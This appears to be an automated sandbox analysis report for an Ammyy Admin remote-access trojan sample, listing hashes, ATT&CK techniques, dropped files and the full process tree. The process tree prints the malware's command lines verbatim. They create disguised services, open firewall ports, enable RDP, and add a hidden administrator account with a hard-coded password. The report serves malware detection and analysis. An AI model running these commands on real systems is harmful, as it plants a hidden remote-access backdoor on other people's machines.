ammyyadmin | 331e3adde8909777973f5e11c688fc3b9be605a4cf52f80171c23be73e94f894

General

Target

e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe
Size

1.2MB
MD5

e3a04b3afb014a8d3a221873d65de82e
SHA1

f33468a5614b981052212bdf9a2060eb54b9e52b
SHA256

331e3adde8909777973f5e11c688fc3b9be605a4cf52f80171c23be73e94f894
SHA512

4f0db7e6c49297770808844507a3ed29f326eb698f04f3175c890b55a023fd4898c808e2eb54b85951473f1997d9b27cb299cb92c96d93e782a228c044338bfb
SSDEEP

24576:Ur28+fzWEEMQsBgNIMXm8Azq1H4mHpi2Lpp6+pzzf5aZK56zOKZAqYwnkYIg:Q+1QaB8YqG+JlzkzY6kYIg

Score

10^/10

ammyyadmin evasion persistence rat

Malware Config

Signatures

Ammyy Admin
Remote admin tool with various capabilities.
rat ammyyadmin

AmmyyAdmin payload 1 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\svchost.exe	family_ammyyadmin

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Creates new service(s) 1 TTPs
persistence

Windows Service
T1543.003
Modifies Windows Firewall 2 TTPs 7 IoCs
evasion

Windows Service
T1543.003

Disable or Modify System Firewall
T1562.004

Processes:

netsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exe

pid process

2372 netsh.exe
4720 netsh.exe
3488 netsh.exe
4044 netsh.exe
4836 netsh.exe
3280 netsh.exe
3836 netsh.exe

pid	process
2372	netsh.exe
4720	netsh.exe
3488	netsh.exe
4044	netsh.exe
4836	netsh.exe
3280	netsh.exe
3836	netsh.exe

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

REG.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\PlugAndPlay\ImagePath = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\svchost.exe -service -debug"	REG.exe

Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489
Executes dropped EXE 1 IoCs

Processes:

termserv.exe

pid process

2100 termserv.exe
Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

2576 sc.exe
1072 sc.exe
3440 sc.exe
4852 sc.exe
224 sc.exe
384 sc.exe
1164 sc.exe
2164 sc.exe
2608 sc.exe
1452 sc.exe
Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

2072 taskkill.exe
Runs net.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exetaskkill.exe

description pid process

Token: SeDebugPrivilege 3320 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe
Token: SeDebugPrivilege 2072 taskkill.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

termserv.exe

pid process

2100 termserv.exe
2100 termserv.exe

pid	process
2100	termserv.exe

pid	process
2576	sc.exe
1072	sc.exe
3440	sc.exe
4852	sc.exe
224	sc.exe
384	sc.exe
1164	sc.exe
2164	sc.exe
2608	sc.exe
1452	sc.exe

pid	process
2072	taskkill.exe

description	pid	process
Token: SeDebugPrivilege	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe
Token: SeDebugPrivilege	2072	taskkill.exe

pid	process
2100	termserv.exe
2100	termserv.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.execmd.exe

description	pid	process	target process
PID 3320 wrote to memory of 384	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	sc.exe
PID 3320 wrote to memory of 384	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	sc.exe
PID 3320 wrote to memory of 384	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	sc.exe
PID 3320 wrote to memory of 2576	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	sc.exe
PID 3320 wrote to memory of 2576	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	sc.exe
PID 3320 wrote to memory of 2576	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	sc.exe
PID 3320 wrote to memory of 1072	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	sc.exe
PID 3320 wrote to memory of 1072	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	sc.exe
PID 3320 wrote to memory of 1072	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	sc.exe
PID 3320 wrote to memory of 3440	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	sc.exe
PID 3320 wrote to memory of 3440	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	sc.exe
PID 3320 wrote to memory of 3440	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	sc.exe
PID 3320 wrote to memory of 2072	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	taskkill.exe
PID 3320 wrote to memory of 2072	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	taskkill.exe
PID 3320 wrote to memory of 2072	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	taskkill.exe
PID 3320 wrote to memory of 4172	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	cmd.exe
PID 3320 wrote to memory of 4172	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	cmd.exe
PID 3320 wrote to memory of 4172	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	cmd.exe
PID 3320 wrote to memory of 1164	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	sc.exe
PID 3320 wrote to memory of 1164	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	sc.exe
PID 3320 wrote to memory of 1164	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	sc.exe
PID 4172 wrote to memory of 4204	4172	cmd.exe	ctfmon.exe
PID 4172 wrote to memory of 4204	4172	cmd.exe	ctfmon.exe
PID 4172 wrote to memory of 4204	4172	cmd.exe	ctfmon.exe
PID 3320 wrote to memory of 2164	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	sc.exe
PID 3320 wrote to memory of 2164	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	sc.exe
PID 3320 wrote to memory of 2164	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	sc.exe
PID 3320 wrote to memory of 3280	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	netsh.exe
PID 3320 wrote to memory of 3280	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	netsh.exe
PID 3320 wrote to memory of 3280	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	netsh.exe
PID 3320 wrote to memory of 2608	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	sc.exe
PID 3320 wrote to memory of 2608	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	sc.exe
PID 3320 wrote to memory of 2608	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	sc.exe
PID 3320 wrote to memory of 1856	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	REG.exe
PID 3320 wrote to memory of 1856	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	REG.exe
PID 3320 wrote to memory of 1856	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	REG.exe
PID 3320 wrote to memory of 1792	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	REG.exe
PID 3320 wrote to memory of 1792	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	REG.exe
PID 3320 wrote to memory of 1792	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	REG.exe
PID 3320 wrote to memory of 432	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	REG.exe
PID 3320 wrote to memory of 432	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	REG.exe
PID 3320 wrote to memory of 432	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	REG.exe
PID 3320 wrote to memory of 3836	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	netsh.exe
PID 3320 wrote to memory of 3836	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	netsh.exe
PID 3320 wrote to memory of 3836	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	netsh.exe
PID 3320 wrote to memory of 2372	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	netsh.exe
PID 3320 wrote to memory of 2372	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	netsh.exe
PID 3320 wrote to memory of 2372	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	netsh.exe
PID 3320 wrote to memory of 4720	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	netsh.exe
PID 3320 wrote to memory of 4720	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	netsh.exe
PID 3320 wrote to memory of 4720	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	netsh.exe
PID 3320 wrote to memory of 3488	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	netsh.exe
PID 3320 wrote to memory of 3488	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	netsh.exe
PID 3320 wrote to memory of 3488	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	netsh.exe
PID 3320 wrote to memory of 4044	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	netsh.exe
PID 3320 wrote to memory of 4044	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	netsh.exe
PID 3320 wrote to memory of 4044	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	netsh.exe
PID 3320 wrote to memory of 4836	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	netsh.exe
PID 3320 wrote to memory of 4836	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	netsh.exe
PID 3320 wrote to memory of 4836	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	netsh.exe
PID 3320 wrote to memory of 2100	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	termserv.exe
PID 3320 wrote to memory of 2100	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	termserv.exe
PID 3320 wrote to memory of 2100	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	termserv.exe
PID 3320 wrote to memory of 4852	3320	e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe	sc.exe

C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3320

C:\Windows\SysWOW64\sc.exe
sc stop "ProtocolWindows_ "
2⤵
- Launches sc.exe
PID:384

C:\Windows\SysWOW64\sc.exe
sc delete "ProtocolWindows_ "
2⤵
- Launches sc.exe
PID:2576

C:\Windows\SysWOW64\sc.exe
sc stop "PlugAndPlay"
2⤵
- Launches sc.exe
PID:1072

C:\Windows\SysWOW64\sc.exe
sc delete "PlugAndPlay"
2⤵
- Launches sc.exe
PID:3440

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im ctfmon.exe
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2072

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c ctfmon.exe
2⤵
- Suspicious use of WriteProcessMemory
PID:4172

C:\Windows\SysWOW64\ctfmon.exe
ctfmon.exe
3⤵
PID:4204

C:\Windows\SysWOW64\sc.exe
sc create "ProtocolWindows_ " binpath= "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\lsass.exe" displayname= "Protocol HTTP/SSL " type= own start= auto error= ignore
2⤵
- Launches sc.exe
PID:1164

C:\Windows\SysWOW64\sc.exe
sc description "ProtocolWindows_ " "Ýòà ñëóæáa îáåñïå÷èâàåò áåçîïañíûé ïðîòîêîë ïåðåäà÷è äàííûõ ãèïåðòåêñòà (HTTPS) äëÿ ñëóæáû HTTP. Åñëè ýòà ñëóæáà îòêëþ÷åía, ëþáûå ñëóæáû, êîòîðûå ÿâíî çaâèñÿò îò íåå, íå ìîãóò áûòü çàïóùåíû. "
2⤵
- Launches sc.exe
PID:2164

C:\Windows\SysWOW64\netsh.exe
netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\lsass.exe" ENABLE
2⤵
- Modifies Windows Firewall
PID:3280

C:\Windows\SysWOW64\sc.exe
sc create "PlugAndPlay" displayname= "PlugAndPlay " binpath= "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\svchost.exe -service -debug" type= own start= auto error= ignore
2⤵
- Launches sc.exe
PID:2608

C:\Windows\SysWOW64\REG.exe
REG ADD "HKLM\SYSTEM\CurrentControlSet\services\PlugAndPlay" /v ImagePath /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\svchost.exe -service -debug" /f
2⤵
- Sets service image path in registry
PID:1856

C:\Windows\SysWOW64\REG.exe
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_REGDWORD /d 3389 /f
2⤵
PID:1792

C:\Windows\SysWOW64\REG.exe
REG ADD "HKCU\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LOCALMACHINE_LOCKDOWN" /v iexplore.exe /t REG_REGDWORD /d 0 /f
2⤵
PID:432

C:\Windows\SysWOW64\netsh.exe
netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\svchost.exe" ENABLE
2⤵
- Modifies Windows Firewall
PID:3836

C:\Windows\SysWOW64\netsh.exe
netsh firewall add allowedprogram ctfmon.exe ENABLE
2⤵
- Modifies Windows Firewall
PID:2372

C:\Windows\SysWOW64\netsh.exe
netsh firewall add portopening protocol = TCP port = 3389 name = TCP
2⤵
- Modifies Windows Firewall
PID:4720

C:\Windows\SysWOW64\netsh.exe
netsh firewall add portopening protocol = TCP port = 31337 name = TCP
2⤵
- Modifies Windows Firewall
PID:3488

C:\Windows\SysWOW64\netsh.exe
netsh firewall add portopening protocol = TCP port = 80 name = TCP
2⤵
- Modifies Windows Firewall
PID:4044

C:\Windows\SysWOW64\netsh.exe
netsh firewall add portopening protocol = TCP port = 8080 name = TCP
2⤵
- Modifies Windows Firewall
PID:4836

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\termserv.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\termserv.exe" -silent
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2100

C:\Windows\SysWOW64\sc.exe
sc start mnmsrvc
2⤵
- Launches sc.exe
PID:4852

C:\Windows\SysWOW64\sc.exe
sc Start TlntSvr
2⤵
- Launches sc.exe
PID:224

C:\Windows\SysWOW64\sc.exe
sc Start TermService
2⤵
- Launches sc.exe
PID:1452

C:\Windows\SysWOW64\net.exe
net start FastUserSwitchingCompatibility
2⤵
PID:1708

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 start FastUserSwitchingCompatibility
3⤵
PID:3440

C:\Windows\SysWOW64\net.exe
net start TermService
2⤵
PID:376

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 start TermService
3⤵
PID:4244

C:\Windows\SysWOW64\REG.exe
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
2⤵
PID:3680

C:\Windows\SysWOW64\REG.exe
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
2⤵
PID:2072

C:\Windows\SysWOW64\net.exe
net user Microsoft skj2g43 /add /EXPIRES:NEVER /active:yes
2⤵
PID:3288

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user Microsoft skj2g43 /add /EXPIRES:NEVER /active:yes
3⤵
PID:2528

C:\Windows\SysWOW64\net.exe
net localgroup Microsoft /add
2⤵
PID:2928

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup Microsoft /add
3⤵
PID:3540

C:\Windows\SysWOW64\net.exe
net localgroup Àäìèíèñòðàòîðû Microsoft /add
2⤵
PID:3436

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup Àäìèíèñòðàòîðû Microsoft /add
3⤵
PID:1976

C:\Windows\SysWOW64\net.exe
net localgroup Administrators Microsoft /add
2⤵
PID:1628

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup Administrators Microsoft /add
3⤵
PID:4424

C:\Windows\SysWOW64\net.exe
net accounts /maxpwage:unlimited
2⤵
PID:228

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 accounts /maxpwage:unlimited
3⤵
PID:4548

C:\Windows\SysWOW64\REG.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v Microsoft /t REG_DWORD /d 0 /f
2⤵
PID:3760

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Account Manipulation

1

T1098

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Create or Modify System Process

3

T1543

Windows Service

3

T1543.003

Privilege Escalation

Account Manipulation

1

T1098

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Create or Modify System Process

3

T1543

Windows Service

3

T1543.003

Defense Evasion

Impair Defenses

2

T1562

Disable or Modify System Firewall

Modify Registry

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

1

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\lsass.exe

Filesize
85KB

MD5
e0b8d7ad878eff7bdfba66d17665eb58

SHA1
ec4ab8ed9ca2ad06749851a76451108b4c608eba

SHA256
779a40fca7a3680a1dcbf08e53be5a63ce41564d452c3053f03e487c8de39952

SHA512
17e457940e4117cc7bd59e6743bf2877495201a3e277ef3133b6370f1148f54a85acc91ab6747b97c1f3beacc49a2fda01bdb89e3d7c6ff6ac76c801e15be650

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\svchost.exe

Filesize
587KB

MD5
ad6269fd2b94fa1ad58f4755c288eed2

SHA1
736be980a1170d6fbc63ee02bd7dde14fb860513

SHA256
18b723836baba860e45cb4cebd01dfecd71f318d88518baf2f0fa41b3bb8a704

SHA512
0ede581e7e6153612c63b8fce40f9e3bbd415f541800c9f57167f09f57fca657e59eff34db647b24bd7ef2eb8d3bb5a67244864cd2e49ec22b22ea692df1c3dc

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\termserv.exe

Filesize
44KB

MD5
382cebd78ad354b1dfd91dc8176615f6

SHA1
5c734f779cf23cee4d7260a0eee3ce1ed888f1c0

SHA256
067f0765790c0e75c3774f4c5890ddacb8b99ecd6f80743d68aad9d34de8b445

SHA512
650a3be640baac30d3c36185048c6f4e5b2536cf0086b49386ea7149c7148cc1ce4f12c7832ddb2520677d67f15214b0c8e41c0eed5938b0283b1374f6bdd197

Download Submit
memory/3320-22-0x0000000000400000-0x0000000000423000-memory.dmp

Filesize
140KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads